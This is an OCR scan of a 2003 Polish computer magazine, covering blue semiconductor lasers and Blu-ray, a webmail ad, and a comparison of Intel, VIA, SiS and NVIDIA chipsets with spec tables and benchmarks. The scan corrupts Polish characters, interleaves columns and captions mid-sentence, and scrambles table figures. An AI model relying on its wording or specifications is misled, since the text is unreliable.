wzbudzania (zwanego réwniez pompowaniem), ktdre reali-
zowane jest przez doprowadzenie energii - zwykle w posta-
ci promieniowania (na przyktad silnego Swiatta), wytado-
wania elektrycznego lub energii chemicznej.

Charakterystyczne cechy swiatta laserowego to:

® spdjnosc (co umozliwia interferencje)

® jednobarwnosc (czyli emitowana jest fala o okreslonej
dtugosci)

® polaryzacja

® bardzo mata rozbieznosc wigzki

® bardzo duza gestos¢ mocy.

14 czerwiec-LipiEC 2003 [TEaaa]

@ Jak dziata laser )

sze zwigkszenie pojemno$ci nosni-
kéw optycznych stato sie mozliwe
dzigki opanowaniu technologii wy-
twarzania potprzewodnikowych lase-
row emitujacych Swiatfo o mnigjszej
dtugosci fali.

Udziat w powstaniu niebieskiego
lasera majg polscy naukowcy z Cen-

| ——

i landow (czyli obszarow w rozny
sposab odbijajgcych Swiatfo lasera,
ktére odpowiadajg poszczegoinym
bitom danych).

Niebieskie lasery gazowe
znane byty od wielu lat, jed-
nak dopiero niedawno udafo
Sie opanowac proces maso-
wego wytwarzania niebie-
skich laserow potprzewodni-
kowych. Technologia pot-
przewodnikowa pozwala wy-
twarzac lasery o niewielkich rozmia-
rach i stosunkowo niewielkim pobo-
rze Mocy.

Przy produkcji p6tprzewodniko-
wych laseréw wykorzystywane sg
krysztaty azotku galu (GaN — rodzaj
potprzewodnika). Bardzo dobrej ja-
kosci krysztaty otrzymuje sig w CBW
PAN w szczegdInych warunkach —
przy cisnieniu siegajgcym 20 tysie-

Hitachi ‘ i Pioneer @, podubnie_jak wigkszoé¢ prnduce rzetu audio-wideo,

zaprezentowaty juz swoje prototypowe nagrywarki Blulaser

trum Badan Wysokocisnieniowych
(CBW) PAN, ktorzy za swoj wynala-
zek w 2002 roku otrzymali Nagrode
Prezydenta RP

Niebieska szansa
Problemem, z ktérym musieli po-
radzi¢ sobie naukowcy, byto zmniej-
szenie dfugosci fali emitowanej
przez laser potprzewodnikowy. Dzie-
ki laserom o kolorze niebieskim lub
niebiesko-fioletowym stato sie moz-
liwe zmniejszenie rozmiarow pitow

cy atmosfer i w temperaturze okoto
1500 stopni Celsjusza. Aby z krysz-
tatu powstat laser, konieczne jest
jeszcze naniesienie duzej liczby
warstw potprzewodnika oraz przygo-
towanie kontaktow elekirycznych.
Struktura takiego lasera jest bardzo
niewielka — grubos¢ laserowego
promienia wynosi zaledwie 10 mi-
krometrow.

Prace nad niebieskimi laserami
od wielu lat prowadzone sg rowniez
w Japonii i Stanach Zjednoczonych.

Niebieskie lasery s3 juz stosowane
w urzadzeniach dostepnych na rynku
(na przykfad w specjalnych nagry-
warkach dyskow o bardzo duzej po-
ko Somy Y
do zapisu
wielokrotnego
jemnosci). Cho¢
ich cena na razie
jest bardzo wysoka,
by¢ moze juz za kil-
ka lat produkty z nigbieskim laserem
stang sie powszechnie dostepne.

Bluray

Wielcy producenci elektroniki wy-
ciggneli wnioski z sytuacji na rynku
nagrywarek DVD, na ktérym konku-
rujg ze sobg az trzy standardy. Dlate-
go firmy Hitachi, LG, Panasonic,
Philips, Pioneer, Samsung, Sharp,
Sony oraz Thomson utworzyly
wspolne konsorcjum pod na-
7wa Bluray zajmujace sig roz-
wijaniem technologii wyko-
rzystujgcych niebieski laser.
Urzadzenia oznaczone zna-
kiem Bluray Disc beda mogty
ze sobg wspotpracowac. Dzieki za-
stosowaniu niebiesko-fioletowego
lasera o dtugosci fali 405 nm na
plycie o rozmiarach krazka CD lub
DVD (12 cm) mozliwe jest zapisanie
27 GB danych (dysk jednostronny,

jednowarstwowy). MZ m
@Warto zajrzeé...
Adresy WWW:

® www.unipress.waw.pl
® www.ibluray.com
® www.bluray.com
® www.blu-ray.org



NOWA POCZTA W WIRTUALNEJ POLSCE

Archiwum

X
razy

Maksymalna pojemnos¢ skrzynki w Wirtualnej Polsce wynosi teraz 75 MB.
Takie megaarchiwum jest kilkakrotnie wieksze niz tradycyjne skrzynki.
Zamies$¢ Twoje ulubione fotki, filmy i pliki dzwiekowe. Wiecej informacji
o megaskrzynkach i megazatgcznikach w Wirtualnej Polsce znajdziesz
na stronie poczta.wp.pl
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rzystepujgc do zakupu

nowego komputera,

Zazwyczaj wyznacza-
my sobie jeden cel: ztozy¢ zestaw
swoich marzen — jak najwydajniej-
szy z jak najwiekszym wachlarzem
mozliwosci. Wertujemy cenniki,
poréwnujemy ceny i przy okazji
przypominamy sobie, co w kom-
puterze ma sgsiad. Wszystko prze-
ciez musi byc lepsze! Niestety,
podczas dobierania elementow
planowanego komputera najmnie;
uwagi poswigcamy podstawie do-
brego peceta. Najczesciej niedo-

ceniany jest, jak na ironig, najwaz- /

niejszy element komputera, czyli
chipset ptyty gtowne;.

Chipset to zestaw ukfadow steru-
jacych urzadzeniami podtaczonymi
do ptyty. Praktycznie zadna operacja
wewnatrz komputera nie moze sig
odby¢ bez udziatu jego dwach klu-
czowych elementow — mostka pot-
nocnego i potudniowego. Ekspert
prezentuje najpopularniejsze chip-
sety.

Idziemy po zakupy
Wybieramy jeden z najdrozszych

procesorow z cennika, co najmniej

2 GHz. Kupujemy Karte graficzng

i wyposazamy zestaw w duzg ilo$¢

najszybszej pamigci RAM. Do tego

CZERWIEC - LIPIEC 2003 [0 aaa]

ﬂPoréwnanie wybranych chipseto )

-
;{.
=
-
’
T
..‘

dorzucamy ultraszybki dysk twardy,
a mife wrazenia odstuchowe za-
pewniamy sobie dobrg kartg dzwig-
kowa. Zestaw marzen gotowy. Kie-
dy jednak go uruchamiamy, nie je-
steSmy zadowoleni z wydajnosci.
Niestety, zlekcewazylismy najwaz-
niejszy element komputera — pyte
gtowna. Najprawdopodobniej kupi-
liSmy najtanszy model lub Zle do-
bralismy ptyte do pozostatych ele-
mentow peceta.

Jesli przeanalizowac funkcje,
za jakie odpowiada procesor i chip-

set, to mozna pierwszy porownac
do mozgu, a drugi do uktadu pod-
trzymujacego zycie. Chipset plyty
gtownej jest sercem catego kom-
putera. Narzadem, ktory pompuje
dane przez wszystkie magistrale.
Kupujgc ptyte gtowng, wybierzmy
chipset, ktory obstuzy wszystkie
urzadzenia oraz w petni wykorzysta
mozliwosci naszego sprzetu. Zle
dobrany bedzie ograniczat moc ob-
liczeniowg procesora poprzez swojg
niska wydajno$¢ czy niedoskona-
to$¢ technologiczng.

Intel i-845 PE/GE (5,

Wszystko w jednym?
Chipset jako zestaw jednostek
sterujacych jest podzielony na dwie
czesci, z ktorych kazda odgrywa in-
ng role. Pierwszym elementem chip-
setu jest mostek potnocny. W jego

skiad wchodza: jednostka logicz-
na obsfugujaca procesor, kontroler
pamigci RAM, kontrolery magistral
AGP oraz PCI. Drugim, oddzielnym
cztonem chipsetu jest mostek potu-
dniowy. Dzisiejsze konstrukcje za-
wierajg sprzetowe sterowniki.
Migdzy innymi kontrolery napgdow
ATA, staciji dyskietek (FDD), USB,
urzadzen Wejscia/Wyjscia (port dru-
karki, komunikacyjne, PS/2).

W mostku potudniowym, w ostat-
nich latach, nastapifo najwiecej
Zmian. Z biegiem czasu na swoje
barki przyjmuje on coraz wigcej za-
dan. Lista obstugiwanych przez nie-
g0 urzadzen wydtuzyta sie na przy-
kfad o kontrolery dzwigku, dyskow
Serial-ATA, magistrali FireWire oraz
karty sieciowe. Dla poréwnania,
mostki potnocne zyskaty jedynie
zintegrowane kontrolery grafiki. Nie
oznacza to jednak wyzszo$ci potu-
dnia nad pétnoca. Oba mostki s3
od siebie w petni zalezne i zaden

Z nich nie moze funkcjonowac bez
drugiego. Ostatnia wazna rzecz,

na jakg warto zwroci¢ uwage, to fakt,
iz mostek potudniowy moze by¢
uniwersalny, jesli chodzi o obstugi-
wane procesory. O ile mostek pot-
nocny musi by¢ dopasowany

do konkretnej platformy, niezaleznie
czy Intel czy AMD, o tyle ten sam
mostek potudniowy moze by¢ wyko-
rzystany w obu przypadkach. Przy-
ktadem moze by¢ mostek potudnio-
wy VIA VT8235, kidry jest stosowa-
ny wraz z mostkiem pdtnocnym VIA
KT400 dla procesorow AMD i z VIA
P4X400 dla procesorow firmy Intel.

VIA P4X400

Obstugiwane procesory Intel Pentium 4 / Celeron Intel Pentium 4 / Celeron
Typ podstawki procesora Socket-478 Socket-478
Mostek potudniowy (Southbridge) Intel 82801DB VIA VT8235
Obstugiwane magistrale FSB 400 /533 MHz 400 /533 MHz
Obstugiwane typy pamieci DDR-SDRAM DDR-SDRAM
Obsfugiwane magistrale pamieci 266 / 333 MHz 266 / 333 MHz
Obstugiwany tryb Dual-DDR nie nie
Maksymalna ilo$¢ pamigci 2GB 32 GB
Obstugiwane tryby AGP x/2x/ dx 2/ dx/ 8x
Kontroler ATA 33/66/100 33/66/100/133
Zintegrowana grafika tak (Intel Extreme Graphics)* nie
Zintegrowany diwigk tak (AC'97 6 kanatow) tak (AC'97 6 kanatow)
Obstuga USB 11/20 11/20
Kontroler sieciowy tak tak
Kontroler FireWire (IEEE1394) nie nie
Cechy charakterystyczne / Uwagi - wspiera technologig -

Hyper Threading

* dotyczy tylko Intel i845GE




@ Testy wydajnosciowe pamieci ]

Ekspert przeprowadzit testy wydajno-
sci opisywanych chipsetdw. Korzysta-
jac z ponizszych konfiguracji, zbadano
transfer danych na magistrali pamieci
operacyjnej. Do testéw wykorzystano
program Si-Soft Sandra 2003

Konfiguracje testowe

o AMD Athlon XP 2100+
FSB 266 MHz

o Intel Pentium 4 2,0 GHz
FSB400 MHz
2 x 256 MB Corsair PC2700 CL2
333 MHz

Modele testowanych ptyt
EpoX 8RDA+ (nForce2 SPP)
EpoX 8KSA2+ (VIA KT400)
Asrock K7S8X (SiS 746FX)

Pitka w grze

Produkcjg chipsetow od wielu lat
zajmuije sie ta sama grupa najwaz-
niejszych producentow: Intel, AMD,
VIA, SiS oraz ALi. Jak fatwo sig do-
myslic, zardwno Intel, jak i firma
AMD produkuija chipsety tylko i wy-
tacznie dla swoich procesorow.

Na tej pfaszczyznie jednak to Intel
ma o wiele wigksze doswiadczenie,
aroznice w ofertach obu producen-
tow dzieli ogromna przepasc. VIA
od lat produkuje chipsety zaréwno
dla proce-
sorow
AMD, jak

i Intel. Fir-
ma SiS nie
stanowi
duzego za-
grozenia
dla poprzedni-

kow, tak na rynku chipsetow dla
platform intelowskich, jak i AMD.
Chipsety SiS to gtéwnie nisko bu-
dzetowe konstrukcje, przeznaczone
na rynek masowy. Ostatnim na li-
$cie producentem chipsetow jest

«s M M HMARM-~

EpoX 4PEA+ ( Intel i845PE)
EpoX 4SDAS5+ (SiS648)
VIA P4PB (VIA P4X400)

Oprogramowanie
Windows XP Professional
Si-Soft Sandra 2003

AMD

NForce2 SPP /2589
VIAKT400 2503
SiS 7T46FX 12475
Intel

i845PE 2569
$iS-648 2531
VIA P4X400 2422

firma AL, ktora od dtuzszego czasu
jednak nie daje znaku zycia i nie
produkuje nowych modeli.

Poza starymi wyjadaczami na ry-
nek w ostatnim czasie wkroczyli
dwaj nowicjusze w dziedzinie kon-
strukcji chipsetow — NVIDIA i ATI —
najwazniejsi gracze na rynku ukta-
dow graficznych. ATI rynkiem chip-
setow zainteresowafa sig mnigj
wigcej rok temu, koncentrujac sie
na chipsetach dla procesorow
AMD. Nie osiggneta zadnego wiek-

soréw trwa. Pro-
ducenci chipse-
tow starajq sie
oferowa¢ produkty
zaréwno dla Intela,
jak i AMD. Tylko nie-

N liczni skupili sie jedynie
na jednej platformie

szego sukcesu na tym polu i w no-
wych konstrukcjach kieruje sig
obecnie w strone Intela. Powiodfo
sie natomiast NVIDII, ktéra dwa lata
temu weszta na rynek z chipsetem
nForce dla platform AMD. nForce

Wyscig na rynku proce- -

VIA KT400 &8

pot roku temu zyskat swojego na-
stepce — nForce2, kidry od dfuz-
$7e40 czasu pozostaje niepokonany
w kwestii zarowno wydajnos$ci, jak
i zaawansowania technologicznego.
Nietrudno wiec zauwazy¢, ze ry-
nek chipsetow dla procesorow
AMD jest bardzo ozywiony,
podczas gdy wsrod chipsetow
dla procesoréw Intel, pomimo
ciggtego rozwoju technolo-
gicznego, panuje SWego ro-
dzaju sytuacja patowa. Intel ja-
ko wiasciciel patentow zwigzanych
z procesorami Pentium 4 bardzo
strzeze swoich rozwigzan przed kon-
kurencja na rynku chipsetow. Efek-
tem tych zabiegdw s3 ciggte rozpra-
wy sadowe Intela z firma VIA i SIS,
co niestety negatywnie odbija sie
na rozwoju technologicznym.

wee  Intel

Chipsety Intela przeznaczone sg
tylko i wytgcznie dla procesorow tej
firmy. Obecnie Intel produkuje jedy-
nie chipsety dla procesoréw Pen-
tium 4 oraz Celeron. Bardzo charak-
terystyczng cechg wszystkich naj-
nowszych produktéw Intela jest ich

architektura, oparta
na systemie hu-
bow, czyli syn-
chronicznych,
miedzyszy-
nowych
przetacz-
nikow danych.
Huby te jednoczesnie
moga stuzy¢ za bufory informacii.
Obecnie Intel skupia sie na serii
chipsetow i8xx, wsrdd ktorych wy-
jatkowo wyroznia sie rodzina chip-
setow i845. W szczegolnosci war-
to zwr6ci¢ uwage na chipsety
i845PE oraz i845GE, kierowane

N

| SIS-655 [ NVIDIA nForce2 SPPIIGP i
Intel Pentium 4/ Celeron ~ AMD Athion XP / Duron AND Alion XP/Duror™8%  AMD Athion XP / Duron
Socket-478 Socket-A Socket-A Socket-A
SiS 963 NVIDIA nForce2 MCP / MCP-T VIA V8235 SiS 963L
400 /533 MHz 100/133/ 266 / 333 MHz 100/133/ 266 / 333 MHz 100/133/ 266 / 333 MHz
DDR-SDRAM DDR-SDRAM DDR-SDRAM DDR-SDRAM
266 / 333 MHz 200/ 266 / 333 / 400 MHz 200/ 266 / 333 MHz 200/ 266 / 333 / 400 MHz
tak tak nie nie
4GB 3GB 4GB 3GB
4x/ 8x dx/ 8x 2/ 4x/ 8 4x/ 8x
33/66/100/1333 3/66/100/133 33/66/100/133 33/66/100/133
nie tak (GeForced MX) ** nie nie
tak (AC’97 6 kanatow) tak (NVIDIA Sound Storm) tak (AC'97 6 kanatow) tak (AC'97 6 kanatow)
11/20 11/20 11/20 11/20
tak tak (podwajny) tak tak
tak tak nie nie
- wspiera technologie - sprzgtowy dekoder - -
Hyper Threading DolbyDigital 5.1

** dotyczy tylko NVIDIA nForce?2 IGP

na rynek masowy. Oba wcielenia ’

i845 obstuguja wszystkie proce- .

sory Pentium z podstawkg Socket- ", :
-478, wiaczajac najnowsze mode- N
le wykorzystujace technologie Hy- - e
per Threading.

Niedrogi, ale
przygotowany
dla najnow-
szych proceso-
réw Pentium 4
chipset Intel
845PE

Chipset i845 ob-

sfuguje procesory korzystajgce

z magistrali FSB taktowanej zegarem
400 i 533 MHz. Niestety, gigant nie
daje nazbyt wielkiego pola manewru
w zakresie wyboru typu pamigci.

Do i845PE/GE pasuja uktady
DDR266 lub DDR333. Zintegrowane
komponenty, poza jednym wyjat-
kiem, w przypadku obu wersji i845
sq takie same. Do dyspozycji mamy
petng obstuge szesciu portdw magi-
strali USB 2.0, kontroler dyskow

@Szybkoéci magistral procesorow |

Typ magistrali Procesory
200 MHz AMD Duron, AMD K7
266 MHz AMD Athlon (Thunderbird)

Athlon XP (Palomino, Thoroughbred)
333 MHz AMD Athlon XP (Barton)
400 MHz AMD Athlon XP (Barton)

Intel Pentium 4 (Willamette/ Northwood)
533 MHz Intel Pentium 4 ( Northwood)

ATA-100 oraz standardowy kontroler
dzwieku z 20-bitowym konwerterem
cyfrowo-analogowym (AC'97). Wy-
jatek stanowi zintegrowany
w i845GE kontroler grafiki — Intel
Extreme Graphics. Oba chipsety
i845PE/GE umozliwiajg wykorzysta-
nie oddzielnej karty graficznej po-
przez magistrale AGP 4X.

Kolejnym chipsetem Intela,
na ktory warto zwrdci¢ uwage, y
jest 1850/850E. Jest on pod wie- f
loma wzgledami podobny !
do i845. Obstuguije te same typy
procesoréw, pracujgc takze z ma-
gistralg FSB 400 i 533 MHz. Naj-
wiekszg roznice zauwazamy
w kontrolerze pamieci RAM. Pod-
czas gdy i845PE/GE obstugiwaty
pamigci DDR-SDRAM, kontroler
pamieci w i850/850E jest przy-
stosowany do wspotpracy z mo-
dutami pamigci typu RDRAM. Po-
wazng przeszkodg, stojgcg na dro-
dze do sukcesu i850/i850E, sg
niestety bardzo wysokie ceny pa-
mieci RDRAM znane pod nazwg
RamBus. [l
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TESTY CHIPSETY PLYT GEOWNYCH

Typy pamieci

Typ pamigci/
Producenci
SDRAM PC100
SDRAM PC133
DDR200 SDRAM

DDR266 SDRAM

DDR333 SDRAM
DDR400 SDRAM
RDRAM PC600
RDRAM PC800
RDRAM PC1066

Intel VIA
810, i815 KT133, KT133A
i815, 1845 KT133, KT133A
i845E, i845G | KT-266, KT333, KT400
iB45E, 845G, KT-266, KT333,
i845PE, i845GE KT400
i845 PE, i845GE KT333, KT400
1820, 840, i850 -
1820, i840, 1850 -
i850e -

Dostgpne na rynku pamigci RAM oraz przyktadowe, obstugujace je chipsety

NVIDIA SiS
- SiS-735
- SiS-735
nForce, nForce2 SPP | SiS-735, SiS-746,
nForce?2 IGP SIS 746FX
nForce, nForce2 SPR | SiS-735, SiS-746,
nForce? IGP SIS 746FX
nForce2 SPP nForce2 IGP |SiS-746, SiS 746FX
nForce2 SPP nForce?2 IGP SIS 746FX
- R658
- R658

i DDR-SDRAM. Pamieci DDR-
-SDRAM najszybciej zadomo-
wity sie na platformach AMD

i to wtasnie kolejne procesory
tej firmy napedzajg ich rozwaj.
Intel pamieci DDR zauwazyt
znacznie pozniej, lansujac
poczatkowo dla swoich proce-
sorow pamieci RDRAM. Dzis
pamieci DDR sg standardem,
powinnismy zatem doktadnie
zastanowic sie nad typem tych
pamigci, ktéry wybierzemy do
naszego komputera. Nalezy tez
doktadnie dobra¢ parametry
kupowanych uktadow zgodnie
ze specyfikacjg chipsetu ptyty
gtéwnej.

Ostatnia grupa to pamieci typu

RDRAM (znane gtéwnie pod

ku lat.

przystepnej cenie

chwili obecnej na rynku

dostepne s3 trzy typy
pamieci RAM, przeznaczonych
dla domowych pecetow.
Powoli znikajg z oferty najstar-
sze pamieci SDRAM PC100 )
oraz PCI133, ktorych zegary tak-
tujgce nie zwiekszyty sie od kil-

Pamieci DDR-SDRAM to najpopu-
larniejsze uktady na rynku. Swoje
powodzenie zawdzieczaja gtéwnie

w NN

Tajwanski koncern VIA od wielu
lat produkuje chipsety, zaréwno dla
procesorow Intel, jak i AMD. Konku-
rencyjnym dla intelowskiego i845PE
jest chipset P4X400, ktory pojawit
sig na rynku w ubiegtym roku.
P4X400 sktada sie z mostka potnoc-
nego V18754 oraz potudniowego
\VT8235. Oba mostki potgczone sg
magistralg 8X V-Link, ktorej przepu-
stowos¢ wynosi 533 MB na sekun-
de. P4X400 obstuguje wszystkie

Apollo KT400 starzeje sie. Nie moze jednak
doczekat sie nastepcy obstugujacego
nowe procesory AMD

Dzieje sie tak dlatego, ze pa-
mieci tego typu zostaty wypar-
te z rynku przez znacznie szyb-
sze pamieci DDR. Obecnie poza
Intelem zaden z producentow
nie produkuje juz chipsetdw,

iltitininiind

obstugujgcych starszy typ pa-
znalez¢ jeszcze ptyty gtowne,

przeznaczone dla pamieci
SDRAM. Wyposazone s3 one
gtéwnie w chipsety Intel i815

setu i845. Dla procesoréw
AMD natomiast znajdziemy

typowe pamieci SDRAM, jak

obecnie dostepne na rynku proceso-
ry Intel Pentium 4 oraz Celeron.
Chipset ten pozwala na za-
stosowanie Pentium 4
korzystajacych zarowno
z magistrali 400 MHz, jak
i 533 MHz. W przeciwien-
stwie do tego, co sugeruje
liczba 400 w nazwie, P4X400
nie obstuguje pamieci
DDR400. W chwili pojawienia
sie tego chipsetu DDR400 nie byt
jeszcze standardem, zatem VIA mu-
Siafa sig wycofa¢ z zapewnien odno-
$nie obstugi tego typu pamigci.
P4X400 rozni sie od opisywa-
nych chipsetow In-
tela jedy-
nie
Szcze-
gotami.
Produkt
VIA ob-
stuguje
najnowsze
karty graficz-
ne, korzystajg-
ce z magistrali AGP 8X.
Mostek potudniowy wyposazony zo-

mieci. Na rynku mozemy jednak

ktére maja typowe sloty DIMM,

oraz podstawowg wersje chip-

ptyty gtéwne z chipsetem, SiS-
-735, ktory obstuguje zaréwno

8 Koéci RDRAM - hardzo wydajne,

S niestety jednoczeénie bardzo dro-
W gie. Obecnie producenci chipsetéw

wycofuja sie ze wspierania pamieci
RamBus, kierujac sie w strone

Y uktadéw DDR

nazwg RamBus) promowane
przez Intela. Nie ulega jednak
watpliwosci, iz nie majg one
zbyt dtugiej przysztosci. Od
wejscia na rynek pamieci te byty
bardzo drogie, gtéwnie ze
wzgledu na ochrone patentowa.
Pomimo swojej wysokiej wydaj-
nosci nie zrobity wiekszej karie-
ry. Obecnie Intel wycofuje sie
powoli z RamBus, coraz czesciej
oferujac chipsety dla Pentium 4,
wspierajace pamieci DDR.

VIA P4X400
to dos¢ wystuzony
chipset dla procesoréw Intela, jednak

weigz wart zakupu miedzy innymi ze
wzgledu na AGP 8X i ATA-133

stat w kontroler napedow ATA-133,
zintegrowany, szesciokanafowy kon-
troler Audio oraz kontroler sieciowy
100/100 Mbps. Nie brakuje tu oczy-
wiscie obstugi urzadzen poprzez
magistrale USB 2.0.

W sektorze procesorow AMD fir-
ma VIA od roku oferuje chipset
KT400 pracujgcy z wigkszoscig
uktadéw dla podstawki Socket-A.
Obstugiwane procesory to cata ro-
dzina AMD Duron z FSB taktowanym
zegarem 200 MHz oraz wszystkie

procesory Athlon, korzystajgce

7 FSB 266 MHz oraz 333 MHz. VIA
jako jedyny producent chipsetow dla
platform AMD nie ma w swojej ofer-
cie chipsetu, obstugujacego pamie-
ci DDR400. Jestesmy skazani

na pamigci DDR200/266/333.

Mostek patnocny KT400 zostat
wyposazony w kontroler magistrali
AGP 8X. Chipset korzysta z tego sa-
mego mostka potudniowego
(VT8235) co jego odpowiednik dla
procesorow Intel. Mamy tutaj te sa-
mg magistrale 8X V-Link o przepu-
stowosci 533 MB na sekundg facza-
€3 oba mostki.

Podobnie jak w przypadku
P4X400, mostek potudniowy oferuje
wsparcie dyskow ATA-133 i star-
szych, kontroler sieciowy 10/100
Mbps, uktad dzwigkowy AC'97
i kontroler szesciu portow magistrali
USB 2.0.

NVIDIA € #ZVIDIA]

Oferta koncernu NVIDIA obejmuje
jak dotad tylko dwa chipsety i tylko
dla procesoréw firmy AMD. NVIDIA
zastuguije jednak na uwage ze
wzgledu na fakt, iz dzieki chipsetom
nForce2 ma obecnie szanse
na przejecie powaznej czesci rynku.

Od prawie pot roku chipset
nForce2 jest najbardziej zaawanso-
wang technologicznie konstrukcja,
oferujgcg w poréwnaniu do konku-
rencji najwyzszg wydajnosc. Zaletg
nForce? jest takze to, ze NVIDIA
opracowata dwie wersje

mostka potnocnego

jak i potudniowego

tak, aby producenci

piyt gtownych mogli
oferowac mozliwie
najwiekszq liczbe kom-

binacji. nForce2 obstu-
guje wszystkie dostepne
obecnie na rynku proce-
sory AMD Duron i Athlon, korzysta-
jace z magistrali FSB 200/266/333
MHz. Chipset ten jest takze pierw-
szym, ktory wprowadzit do ptyt
gftownych obstuge pamieci
DDR400.

Na tym jednak nowosci sig nie
koniczg. NVIDIA do konstrukcji most-
ka potnocnego nForce2 zastosowata
po raz pierwszy podwajny kontroler
pamieci RAM. Dzigki temu rozwigza-
niu, zwanemu Dual-DDR lub
Dual-Channel, chipset potrafi zwiek-
szy¢ szeroko$¢ szyny danych pa-
migci.

Standardowo pamig¢ RAM jest
obstugiwana przez jeden kontroler,
ktorego szerokos¢ szyny wynosi 64
bity. Dzigki zastosowaniu metody




naprzemiennej obstugi dwdch ban-
kéw pamigeci, szerokos¢ szyny da-
nych zostaje podwojona i wynosi
128 hitow. Takie rozwigzanie pozwa-
la zwiekszy¢ wydajnos¢ podsystemu
pamieci. Prawdziwe zyski z tej tech-

nForce2 to obecnie najwydajniejsza
konstrukcja dla procesoréw AMD

nologii czerpie zintegrowany

w mostku pétnocnym nForce2 ukfad
graficzny IGP kiérego wydajnosc
przy zastosowaniu funkcji Dual-DDR
wzrasta nawet dwukrotnie.

NVIDIA nie zapomniata oczywiscie

0 wsparciu dla kart
graficznych przezna-
czonych dla magi-

strali AGP 8X.

nForce2 IGP ma
zintegrowany ukfad
GeForced MX,
k“?fego NIE ZNAJ-  Chipsety SiS, ktére
dziemy jeszcze nie zdazyly
w nForce2 SPP sie rozpowszechnié,
Oba mostki chip- powainlqu: ::;:;xl[:
setu poTaczone dla procesordw
53 magistrala Pentium 4 oraz
opartg na tech- Athlon XP
nologii Hyper-

Transport 0 przepustowosci

800 MB na sekunde i obydwa wy-
stepujg w dwoch odmianach: MCP
oraz MCP-T. Cechy wspolne obej-
mujg kontroler napedow ATA-133,
kontroler sieciowy 10/100Mbps,
uktad dzwigkowy AC’97 oraz USB
2.0. Mostek potudniowy MCPT ofe-
ruje dodatkowo drugi kontroler sie-
ciowy, kontroler urzadzen

Jesli kupujemy komputer z procesorem
Intel, warto rozejrzeé sie za ptytami
gtéwnymi z chipsetami Intel 845PE. Po-
mimo iz SiS oferuje uklady 655, ktére sa
bardziej nowoczesne, to chipsety Intela
w tym zestawieniu sa tansze. WaZna jest
tez kompatyhilnosé oraz jakos¢ chipsetéw
Intel w potaczeniu z procesorami tej fir-
my. Dla platform AMD obecnie doskonata
propozycja sa chipsety NVIDIA nForce2.
Sa bardzo wydajne, nowoczesne i oferuja
hogaty zestaw urzadzen zintegrowanych,
choé zawsze mozna wybraé plyte gléwna
hez takich dodatkéw.

FireWire (IEEE1394) oraz to, co wy-
roznia nForce2 na tle wszystkich
chipsetow konkurencji, czyli bardzo
rozbudowany kontroler dzwieku NVI-
DIA Sound Storm. Kontroler ten
charakteryzuje sie petnym sprzeto-
Wwym wsparciem najpopularniej-
szych standardow dzwigku prze-
strzennego oraz sprzgtowym enko-
derem dzwigku Dolby Digital 5.1
oraz Dolby Surround.

SiS Corporation < bC_DE

SiS podobnie jak VIA produkuje
chipsety zaréwno dla procesorow
Intel, jak i AMD. Jedng z najwaz-
niejszych cech ptyt gtownych
z chipsetami SiS jest ich nizsza ce-
na w poréwnaniu z produktami kon-
kurencji.

Dla procesorow Intel Pentium 4
oraz Geleron SiS oferuje bardzo cie-
kawg konstrukcje SiS655. Obstuguje
ona Pentium 4 i Celerony za po$red-
nictwem magistral 400 i 533 MHz.
Mostek pétnocny pracuje
z pamieciami DDR333
oraz DDR400.

SiS655 jest wyjatkowy
wsrod chipsetow dla pro-
cesorow Intel. Ma podwdj-
ny kontroler pamigci, pra-
cujacy w try-
bie Dual-
-Channel.
Podobnie jak
chipsety In-
tel 1845,
SiS655 ob-
stuguje pro-
cesory z technologia
Hyper Threading i magistrale AGP
8X. Mostek potnocny potaczony jest
z potudniowym za po$rednictwem
magistrali MuTIOL 1G, ktorej prze-
pustowo$¢ wynosi az 1,2 GB na se-
kunde. Mostek potudniowy jednak
tylko nieznacznie wyroznia sig na tle
innych chipsetow dla procesorow
Intela. Mamy tu do dyspozycji kon-

Dla procesoréw Intel Pentium 4 praktycz-
nie nie ma takiego chipsetu, ktérego na-
lezatoby unikaé ze wzgledu na zi3 kon-
strukcje. Ze wszystkich nowych uktadéw
kaidy ma swoje zalety, ktére go wyrdi-
niaja. Nalezy tylko dobraé odpowiedni
chipset dla swoich wymagan. Jesli zaé
chodzi o chipsety dla procesoréw AMD,
to trzeba sceptycznie spojrzeé na plyty
gtéwne z VIA KT400. Chipsety te sq jui
doé¢ stare, choé mimo wszystko nadal
wydajne. KT400 nie obstuguje pamieci
DDR400 i od ponad roku oczekuje swojej
poprawionej wersji.

i

troler ATA-133, szescioportowy USB
2.0, prosty uktad dzwigkowy AC'97.
SiS693 oferuje dodatkowo zintegro-
wany kontroler FireWire (IEEE1394).
Dla platform AMD najnowszym
chipsetem SiS jest SiS746FX,
wspierajacy wszystkie procesory
AMD Duron oraz Athlon, pracujgce
z magistrala FSB 266/333 MHz. Po-
dobnie jak nForce2, SiS746FX ob-
sfuguje najnowszy standard pamigci
DDR400. Zabrakfo tu jednak rozwia-
zania z nForce? i SiS655, czyli funk-
cji DualDDR. Nie zapomniano jed-
nak o kartach graficznych AGP 8X.
Mostek potudniowy SiS963L pota-
czony jest z pofudniowym t3 samg
magistralg MulTIOL 1G, ktéra wyste-
puje w chipsecie SiS655 dla proce-
sorow Intel. Mostek potudniowy
SiS963L to brat blizniak SiS693 po-
zbawiony jedynie zintegrowanego
kontrolera urzadzen FireWire.

Ktory najlepszy?

Wybierajac chipset, pamigtajmy,
ze jest on sercem komputera, wa-
runkujgcym jego wydajnosc oraz
stabilno$¢ i mozliwo$ci rozbudowy.
Nawet najlepszy chipset umieszczo-
ny na kiepskiej jakosci ptycie gtow-
nej moze sprawia¢ kfopoty. Rowniez
jesli wybierzemy tanig plyte z nie-
zbyt rozbudowanym chipsetem, pa-
mietajmy, ze w przysztosci mozemy
mie¢ problemy z rozbudowg kompu-
tera. Warto poswiecic troche czasu
na przewertowanie specyfikacji
chipsetu, aby po pot roku uzytkowa-
nia komputera nie utkng¢ w miejscu
bez mozliwo$ci zamontowania wy-
dajniejszego procesora czy karty
graficznej. Z drugiej strony, wybor
najwydajniejszego chipsetu dla sfa-
bego procesora wcale nie zwigkszy
mocy obliczeniowej peceta.

Zanim dokonamy ostatecznego

2

Trudne terminy

» DualDDR - technologia spopularyzowana przez chipse-
ty NVIDIA nForce2, ktdrej podstawg sg dwa niezalezne kon-
trolery pamieci w chipsecie oraz dwa moduty pamieci w slo-
tach DDR. DualDDR umozliwia operowanie na dwadch ban-
kach pamieci jednoczesnie i niezaleznie. W typowej konfigura-
cji pamieci DDR odczyt danych z poszczegolnych komorek
pamieci moze nastgpic dopiero, jesli w tym samym czasie da-
ne nie sg zapisywane do innych komadrek. DualDDR pozwala
